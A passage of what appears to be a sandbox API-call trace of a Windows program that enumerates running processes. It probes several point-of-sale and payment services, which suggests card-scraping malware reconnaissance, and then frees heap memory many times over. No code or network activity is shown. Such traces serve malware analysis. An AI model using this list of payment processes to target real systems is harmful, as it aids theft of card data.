th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1 [0143.779] Process32NextW (in: hSnapshot=0x120, lppe=0x18f16c | out: lppe=0x18f16c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x96c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1 [0143.780] Process32NextW (in: hSnapshot=0x120, lppe=0x18f16c | out: lppe=0x18f16c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x97c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1 [0143.780] Process32NextW (in: hSnapshot=0x120, lppe=0x18f16c | out: lppe=0x18f16c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x98c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1 [0143.781] Process32NextW (in: hSnapshot=0x120, lppe=0x18f16c | out: lppe=0x18f16c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x99c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1 [0143.782] Process32NextW (in: hSnapshot=0x120, lppe=0x18f16c | out: lppe=0x18f16c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1 [0143.783] Process32NextW (in: hSnapshot=0x120, lppe=0x18f16c | out: lppe=0x18f16c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1 [0143.784] Process32NextW (in: hSnapshot=0x120, lppe=0x18f16c | out: lppe=0x18f16c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1 [0143.785] Process32NextW (in: hSnapshot=0x120, lppe=0x18f16c | out: lppe=0x18f16c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1 [0143.785] Process32NextW (in: hSnapshot=0x120, lppe=0x18f16c | out: lppe=0x18f16c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="cnn-dark-behavior.exe")) returned 1 [0143.786] Process32NextW (in: hSnapshot=0x120, lppe=0x18f16c | out: lppe=0x18f16c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="controversy-calendars.exe")) returned 1 [0143.787] Process32NextW (in: hSnapshot=0x120, lppe=0x18f16c | out: lppe=0x18f16c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa0c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="nine.exe")) returned 1 [0143.787] Process32NextW (in: hSnapshot=0x120, lppe=0x18f16c | out: lppe=0x18f16c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0143.788] OpenProcess (dwDesiredAccess=0x1, bInheritHandle=0, dwProcessId=0xa3c) returned 0x0 [0143.788] Process32NextW (in: hSnapshot=0x120, lppe=0x18f16c | out: lppe=0x18f16c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb88, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1d8, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0143.789] OpenProcess (dwDesiredAccess=0x1, bInheritHandle=0, dwProcessId=0xb88) returned 0x0 [0143.789] Process32NextW (in: hSnapshot=0x120, lppe=0x18f16c | out: lppe=0x18f16c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xab8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="lok.exe")) returned 1 [0143.790] Process32NextW (in: hSnapshot=0x120, lppe=0x18f16c | out: lppe=0x18f16c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="VSSVC.exe")) returned 1 [0143.791] Process32NextW (in: hSnapshot=0x120, lppe=0x18f16c | out: lppe=0x18f16c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x90c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0143.791] Process32NextW (in: hSnapshot=0x120, lppe=0x18f16c | out: lppe=0x18f16c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb5c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0143.792] Process32NextW (in: hSnapshot=0x120, lppe=0x18f16c | out: lppe=0x18f16c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="sppsvc.exe")) returned 1 [0143.792] Process32NextW (in: hSnapshot=0x120, lppe=0x18f16c | out: lppe=0x18f16c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbb4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0143.793] Process32NextW (in: hSnapshot=0x120, lppe=0x18f16c | out: lppe=0x18f16c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbb4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 0 [0143.793] CloseHandle (hObject=0x120) returned 1 [0143.793] GetProcessHeap () returned 0x990000 [0143.794] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b7490 | out: hHeap=0x990000) returned 1 [0143.794] GetProcessHeap () returned 0x990000 [0143.794] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b12d8 | out: hHeap=0x990000) returned 1 [0143.794] GetProcessHeap () returned 0x990000 [0143.794] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9aed08 | out: hHeap=0x990000) returned 1 [0143.794] GetProcessHeap () returned 0x990000 [0143.794] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b13f0 | out: hHeap=0x990000) returned 1 [0143.794] GetProcessHeap () returned 0x990000 [0143.794] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9aed28 | out: hHeap=0x990000) returned 1 [0143.794] GetProcessHeap () returned 0x990000 [0143.794] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b1328 | out: hHeap=0x990000) returned 1 [0143.794] GetProcessHeap () returned 0x990000 [0143.794] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9aed38 | out: hHeap=0x990000) returned 1 [0143.794] GetProcessHeap () returned 0x990000 [0143.794] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af0d8 | out: hHeap=0x990000) returned 1 [0143.794] GetProcessHeap () returned 0x990000 [0143.794] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9aed48 | out: hHeap=0x990000) returned 1 [0143.794] GetProcessHeap () returned 0x990000 [0143.794] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b1350 | out: hHeap=0x990000) returned 1 [0143.794] GetProcessHeap () returned 0x990000 [0143.794] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9aed58 | out: hHeap=0x990000) returned 1 [0143.794] GetProcessHeap () returned 0x990000 [0143.794] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af158 | out: hHeap=0x990000) returned 1 [0143.794] GetProcessHeap () returned 0x990000 [0143.794] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9aed68 | out: hHeap=0x990000) returned 1 [0143.794] GetProcessHeap () returned 0x990000 [0143.794] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b1468 | out: hHeap=0x990000) returned 1 [0143.794] GetProcessHeap () returned 0x990000 [0143.794] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9aed78 | out: hHeap=0x990000) returned 1 [0143.794] GetProcessHeap () returned 0x990000 [0143.794] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af178 | out: hHeap=0x990000) returned 1 [0143.794] GetProcessHeap () returned 0x990000 [0143.794] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9aed88 | out: hHeap=0x990000) returned 1 [0143.794] GetProcessHeap () returned 0x990000 [0143.794] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b14b8 | out: hHeap=0x990000) returned 1 [0143.795] GetProcessHeap () returned 0x990000 [0143.795] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9aed98 | out: hHeap=0x990000) returned 1 [0143.795] GetProcessHeap () returned 0x990000 [0143.795] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af198 | out: hHeap=0x990000) returned 1 [0143.795] GetProcessHeap () returned 0x990000 [0143.795] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9aeda8 | out: hHeap=0x990000) returned 1 [0143.795] GetProcessHeap () returned 0x990000 [0143.795] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b1530 | out: hHeap=0x990000) returned 1 [0143.795] GetProcessHeap () returned 0x990000 [0143.795] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9aedb8 | out: hHeap=0x990000) returned 1 [0143.795] GetProcessHeap () returned 0x990000 [0143.795] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0143.795] GetProcessHeap () returned 0x990000 [0143.795] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9aedc8 | out: hHeap=0x990000) returned 1 [0143.795] GetProcessHeap () returned 0x990000 [0143.795] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b1558 | out: hHeap=0x990000) returned 1 [0143.795] GetProcessHeap () returned 0x990000 [0143.795] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9aedd8 | out: hHeap=0x990000) returned 1 [0143.795] GetProcessHeap () returned 0x990000 [0143.795] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af1b8 | out: hHeap=0x990000) returned 1 [0143.795] GetProcessHeap () returned 0x990000 [0143.795] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9aede8 | out: hHeap=0x990000) returned 1 [0143.795] GetProcessHeap () returned 0x990000 [0143.795] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b1580 | out: hHeap=0x990000) returned 1 [0143.795] GetProcessHeap () returned 0x990000 [0143.795] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9aedf8 | out: hHeap=0x990000) returned 1 [0143.795] GetProcessHeap () returned 0x990000 [0143.795] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af1d8 | out: hHeap=0x990000) returned 1 [0143.795] GetProcessHeap () returned 0x990000 [0143.795] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9aee08 | out: hHeap=0x990000) returned 1 [0143.795] GetProcessHeap () returned 0x990000 [0143.795] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af1f8 | out: hHeap=0x990000) returned 1 [0143.795] GetProcessHeap () returned 0x990000 [0143.795] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9aee18 | out: hHeap=0x990000) returned 1 [0143.796] GetProcessHeap () returned 0x990000 [0143.796] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b49a0 | out: hHeap=0x990000) returned 1 [0143.796] GetProcessHeap () returned 0x990000 [0143.796] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9aee28 | out: hHeap=0x990000) returned 1 [0143.796] GetProcessHeap () returned 0x990000 [0143.796] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b4d48 | out: hHeap=0x990000) returned 1 [0143.796] GetProcessHeap () returned 0x990000 [0143.796] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9aee38 | out: hHeap=0x990000) returned 1 [0143.796] GetProcessHeap () returned 0x990000 [0143.796] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b1c30 | out: hHeap=0x990000) returned 1 [0143.796] GetProcessHeap () returned 0x990000 [0143.796] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9aee48 | out: hHeap=0x990000) returned 1 [0143.796] GetProcessHeap () returned 0x990000 [0143.796] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b8330 | out: hHeap=0x990000) returned 1 [0143.796] GetProcessHeap () returned 0x990000 [0143.796] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9aee58 | out: hHeap=0x990000) returned 1 [0143.796] GetProcessHeap () returned 0x990000 [0143.796] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af218 | out: hHeap=0x990000) returned 1 [0143.796] GetProcessHeap () returned 0x990000 [0143.796] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9aee68 | out: hHeap=0x990000) returned 1 [0143.796] GetProcessHeap () returned 0x990000 [0143.796] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b15a8 | out: hHeap=0x990000) returned 1 [0143.796] GetProcessHeap () returned 0x990000 [0143.796] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9aee78 | out: hHeap=0x990000) returned 1 [0143.796] GetProcessHeap () returned 0x990000 [0143.796] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b8360 | out: hHeap=0x990000) returned 1 [0143.796] GetProcessHeap () returned 0x990000 [0143.796] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9aee88 | out: hHeap=0x990000) returned 1 [0143.796] GetProcessHeap () returned 0x990000 [0143.796] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b15d0 | out: hHeap=0x990000) returned 1 [0143.796] GetProcessHeap () returned 0x990000 [0143.796] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9aee98 | out: hHeap=0x990000) returned 1 [0143.796] GetProcessHeap () returned 0x990000 [0143.796] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b15f8 | out: hHeap=0x990000) returned 1 [0143.796] GetProcessHeap () returned 0x990000 [0143.797] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9aeea8 | out: hHeap=0x990000) returned 1 [0143.797] GetProcessHeap () returned 0x990000 [0143.797] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b4d10 | out: hHeap=0x990000) returned 1 [0143.797] GetProcessHeap () returned 0x990000 [0143.797] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b8b30 | out: hHeap=0x990000) returned 1 [0143.797] GetProcessHeap () returned 0x990000 [0143.797] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b8390 | out: hHeap=0x990000) returned 1 [0143.797] GetProcessHeap () returned 0x990000 [0143.797] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b8b40 | out: hHeap=0x990000) returned 1 [0143.797] GetProcessHeap () returned 0x990000 [0143.797] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b83c0 | out: hHeap=0x990000) returned 1 [0143.797] GetProcessHeap () returned 0x990000 [0143.797] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b8b50 | out: hHeap=0x990000) returned 1 [0143.797] GetProcessHeap () returned 0x990000 [0143.797] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b4cd8 | out: hHeap=0x990000) returned 1 [0143.797] GetProcessHeap () returned 0x990000 [0143.797] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b8b60 | out: hHeap=0x990000) returned 1 [0143.797] GetProcessHeap () returned 0x990000 [0143.797] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af238 | out: hHeap=0x990000) returned 1 [0143.797] GetProcessHeap () returned 0x990000 [0143.797] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b8b70 | out: hHeap=0x990000) returned 1 [0143.797] GetProcessHeap () returned 0x990000 [0143.797] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b83f0 | out: hHeap=0x990000) returned 1 [0143.797] GetProcessHeap () returned 0x990000 [0143.797] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b8b80 | out: hHeap=0x990000) returned 1 [0143.797] GetProcessHeap () returned 0x990000 [0143.797] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af258 | out: hHeap=0x990000) returned 1 [0143.797] GetProcessHeap () returned 0x990000 [0143.797] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b8b90 | out: hHeap=0x990000) returned 1 [0143.797] GetProcessHeap () returned 0x990000 [0143.797] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9ae048 | out: hHeap=0x990000) returned 1 [0143.797] GetProcessHeap () returned 0x990000 [0143.797] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b8ba0 | out: hHeap=0x990000) returned 1 [0143.797] GetProcessHeap () returned 0x990000 [0143.798] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b1620 | out: hHeap=0x990000) returned 1 [0143.798] GetProcessHeap () returned 0x990000 [0143.798] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b8bb0 | out: hHeap=0x990000) returned 1 [0143.798] GetProcessHeap () returned 0x990000 [0143.798] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b4ca0 | out: hHeap=0x990000) returned 1 [0143.798] GetProcessHeap () returned 0x990000 [0143.798] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b8bc0 | out: hHeap=0x990000) returned 1 [0143.798] GetProcessHeap () returned 0x990000 [0143.798] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b8420 | out: hHeap=0x990000) returned 1 [0143.798] GetProcessHeap () returned 0x990000 [0143.798] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b8bd0 | out: hHeap=0x990000) returned 1 [0143.798] GetProcessHeap () returned 0x990000 [0143.798] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b4c68 | out: hHeap=0x990000) returned 1 [0143.798] GetProcessHeap () returned 0x990000 [0143.798] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b8be0 | out: hHeap=0x990000) returned 1 [0143.798] GetProcessHeap () returned 0x990000 [0143.798] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b1648 | out: hHeap=0x990000) returned 1 [0143.798] GetProcessHeap () returned 0x990000 [0143.798] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b8bf0 | out: hHeap=0x990000) returned 1 [0143.798] GetProcessHeap () returned 0x990000 [0143.798] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9ae000 | out: hHeap=0x990000) returned 1 [0143.798] GetProcessHeap () returned 0x990000 [0143.798] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b8c00 | out: hHeap=0x990000) returned 1 [0143.798] GetProcessHeap () returned 0x990000 [0143.798] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b4c30 | out: hHeap=0x990000) returned 1 [0143.798] GetProcessHeap () returned 0x990000 [0143.798] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b8c10 | out: hHeap=0x990000) returned 1 [0143.798] GetProcessHeap () returned 0x990000 [0143.798] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b4f08 | out: hHeap=0x990000) returned 1 [0143.798] GetProcessHeap () returned 0x990000 [0143.798] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b8c20 | out: hHeap=0x990000) returned 1 [0143.798] GetProcessHeap () returned 0x990000 [0143.798] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b1670 | out: hHeap=0x990000) returned 1 [0143.798] GetProcessHeap () returned 0x990000 [0143.798] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b8c30 | out: hHeap=0x990000) returned 1 [0143.798] GetProcessHeap () returned 0x990000 [0143.799] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af278 | out: hHeap=0x990000) returned 1 [0143.799] GetProcessHeap () returned 0x990000 [0143.799] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b8c40 | out: hHeap=0x990000) returned 1 [0143.799] GetProcessHeap () returned 0x990000 [0143.799] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af298 | out: hHeap=0x990000) returned 1 [0143.799] GetProcessHeap () returned 0x990000 [0143.799] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b8c50 | out: hHeap=0x990000) returned 1 [0143.799] GetProcessHeap () returned 0x990000 [0143.799] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b4ed0 | out: hHeap=0x990000) returned 1 [0143.799] GetProcessHeap () returned 0x990000 [0143.799] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b8c60 | out: hHeap=0x990000) returned 1 [0143.799] GetProcessHeap () returned 0x990000 [0143.799] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b8450 | out: hHeap=0x990000) returned 1 [0143.799] GetProcessHeap () returned 0x990000 [0143.799] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b8c70 | out: hHeap=0x990000) returned 1 [0143.799] GetProcessHeap () returned 0x990000 [0143.799] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b64e8 | out: hHeap=0x990000) returned 1 [0143.799] GetProcessHeap () returned 0x990000 [0143.799] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b8c80 | out: hHeap=0x990000) returned 1 [0143.799] GetProcessHeap () returned 0x990000 [0143.799] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b8480 | out: hHeap=0x990000) returned 1 [0143.799] GetProcessHeap () returned 0x990000 [0143.799] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b8c90 | out: hHeap=0x990000) returned 1 [0143.799] GetProcessHeap () returned 0x990000 [0143.799] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b84b0 | out: hHeap=0x990000) returned 1 [0143.799] GetProcessHeap () returned 0x990000 [0143.799] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b8ca0 | out: hHeap=0x990000) returned 1 [0143.799] GetProcessHeap () returned 0x990000 [0143.799] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b84e0 | out: hHeap=0x990000) returned 1 [0143.799] GetProcessHeap () returned 0x990000 [0143.799] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b8cb0 | out: hHeap=0x990000) returned 1 [0143.799] GetProcessHeap () returned 0x990000 [0143.799] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b1698 | out: hHeap=0x990000) returned 1 [0143.799] GetProcessHeap () returned 0x990000 [0143.800] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b8cc0 | out: hHeap=0x990000) returned 1 [0143.800] GetProcessHeap () returned 0x990000 [0143.800] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b16c0 | out: hHeap=0x990000) returned 1 [0143.800] GetProcessHeap () returned 0x990000 [0143.800] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b8cd0 | out: hHeap=0x990000) returned 1 [0143.800] GetProcessHeap () returned 0x990000 [0143.800] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b16e8 | out: hHeap=0x990000) returned 1 [0143.800] GetProcessHeap () returned 0x990000 [0143.800] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b8ce0 | out: hHeap=0x990000) returned 1 [0143.800] GetProcessHeap () returned 0x990000 [0143.800] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b6528 | out: hHeap=0x990000) returned 1 [0143.800] GetProcessHeap () returned 0x990000 [0143.800] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b8cf0 | out: hHeap=0x990000) returned 1 [0143.800] GetProcessHeap () returned 0x990000 [0143.800] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af2b8 | out: hHeap=0x990000) returned 1 [0143.800] GetProcessHeap () returned 0x990000 [0143.800] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b8d00 | out: hHeap=0x990000) returned 1 [0143.800] GetProcessHeap () returned 0x990000 [0143.800] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b1710 | out: hHeap=0x990000) returned 1 [0143.800] GetProcessHeap () returned 0x990000 [0143.800] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b8d10 | out: hHeap=0x990000) returned 1 [0143.800] GetProcessHeap () returned 0x990000 [0143.800] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b1738 | out: hHeap=0x990000) returned 1 [0143.800] GetProcessHeap () returned 0x990000 [0143.800] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b8d20 | out: hHeap=0x990000) returned 1 [0143.800] GetProcessHeap () returned 0x990000 [0143.800] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b1760 | out: hHeap=0x990000) returned 1 [0143.800] GetProcessHeap () returned 0x990000 [0143.800] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b8d30 | out: hHeap=0x990000) returned 1 [0143.800] GetProcessHeap () returned 0x990000 [0143.800] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b1788 | out: hHeap=0x990000) returned 1 [0143.800] GetProcessHeap () returned 0x990000 [0143.800] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b8d40 | out: hHeap=0x990000) returned 1 [0143.800] GetProcessHeap () returned 0x990000 [0143.800] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b8510 | out: hHeap=0x990000) returned 1 [0143.800] GetProcessHeap () returned 0x990000 [0143.801] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b8d50 | out: hHeap=0x990000) returned 1 [0143.801] GetProcessHeap () returned 0x990000 [0143.801] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b4e98 | out: hHeap=0x990000) returned 1 [0143.801] GetProcessHeap () returned 0x990000 [0143.801] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b8d60 | out: hHeap=0x990000) returned 1 [0143.801] GetProcessHeap () returned 0x990000 [0143.801] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b8540 | out: hHeap=0x990000) returned 1 [0143.801] GetProcessHeap () returned 0x990000 [0143.801] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b8d70 | out: hHeap=0x990000) returned 1 [0143.801] GetProcessHeap () returned 0x990000 [0143.801] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b17b0 | out: hHeap=0x990000) 